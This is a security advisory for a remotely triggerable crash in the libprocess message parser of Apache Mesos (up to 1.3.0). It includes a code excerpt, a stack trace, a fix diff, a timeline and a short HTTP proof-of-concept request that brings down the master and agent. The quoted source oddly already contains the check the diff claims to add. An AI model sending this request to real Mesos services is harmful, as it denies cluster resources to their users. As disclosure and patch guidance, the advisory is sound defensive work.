Severity: High (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RC:C)

Vendor: Apache Software Foundation

Versions Affected: Apache Mesos <= 1.3.0

Description

A vulnerability in the libprocess dependency of Mesos allows a remote attacker to cause a crash in any Mesos component that includes the library. The bug resides in the libprocess message parsing functionality and causes the application to crash when attempting to parse a zero length request path.

The vulnerability affects the latest release (1.3.0) of Mesos as well as most versions before. Importantly, it affects the Master and Agent services that are exposed over the network. A malicious actor can easily deny allocation of resources to applications with a single HTTP request to each component.

The bug is found in parse() at libprocess/src/process.cpp when attempting to parse request paths. Particularly, the error occurs when trying to obtain the substring of a zero length string in request.url.path.substr(1, index).

 793   // Now determine 'to'.
 794   size_t index = request.url.path.find('/', 1);
 795   index = index != string::npos ? index - 1 : string::npos;
 796
 797   // Decode possible percent-encoded 'to'.
 798   if (request.url.path.length() < 1) {
 799     return Failure("Request URL path is empty");
 800   }
 801   Try<string> decode = http::decode(request.url.path.substr(1, index));

A stack trace at the time of the crash is as follows:

terminate called after throwing an instance of 'std::out_of_range'
  what():  basic_string::substr: __pos (which is 1) > this->size() (which is 0)

Thread 1 "mesos-master" received signal SIGABRT, Aborted.
0x00007ffff1244428 in __GI_raise (sig=[email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff1244428 in __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff124602a in __GI_abort () at abort.c:89
#2  0x00007ffff1da484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007ffff1da26b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007ffff1da2701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007ffff1da2919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x00007ffff1dcb3f7 in std::__throw_out_of_range_fmt(char const*, ...) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#7  0x00007ffff6cf152a in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_check (this=0x555555893048, __pos=1, __s=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/bits/basic_string.h:261
#8  std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::substr (this=0x555555893048, __pos=1, __n=18446744073709551615) at /usr/bin/../lib/gcc/x86_64-linux-gnu/5.4.0/../../../../include/c++/5.4.0/bits/basic_string.h:2295
#9  process::parse (request=...) at ../../../3rdparty/libprocess/src/process.cpp:798
#10 0x00007ffff6ca8c2c in process::ProcessManager::handle_harness (this=0x5555558558b0, request=0x555555892fc0) at ../../../3rdparty/libprocess/src/process.cpp:2875
#11 0x00007ffff6ca8549 in process::decode_recv_harness (data=<optimized out>, length=<optimized out>) at ../../../3rdparty/libprocess/src/process.cpp:855
#12 0x000055555556e08a in main (argc=<optimized out>, argv=<optimized out>) at ../../src/master/main.cpp:569

Mitigation

The proposed fix for the error is to check that the length of the request path is longer than 1 before performing the substring operation.

--- process.cpp    2017-06-25 22:21:42.413271006 +0000
+++ process-fixed.cpp    2017-06-25 21:45:40.993271006 +0000
807a808,811
>   if (request.url.path.length() < 1) {
>     return Failure("Request URL path is empty");
>   }
>

Proof of Concept

Sending the following HTTP request causes Mesos master and agent to crash.

POST http://localhost
User-Agent:libprocess/

Credit

This issue was discovered by Lyon Yang (@l0Op3r) and Jeremy Heng (@nn_amon).

Timeline

  • 26 June 2017 - Discovery of the vulnerability.
  • 27 June 2017 - Reporting of the vulnerability to [email protected]
  • 28 June 2017 - Acknowledge of the vulnerability by the vendor.
  • 10 July 2017 - CVE number assigned.
  • 10 July 2017 - Git commit fixes the vulnerability upstream.
  • 26 Sept 2017 - oss-security mailing list email sent by vendor.

Leave a Comment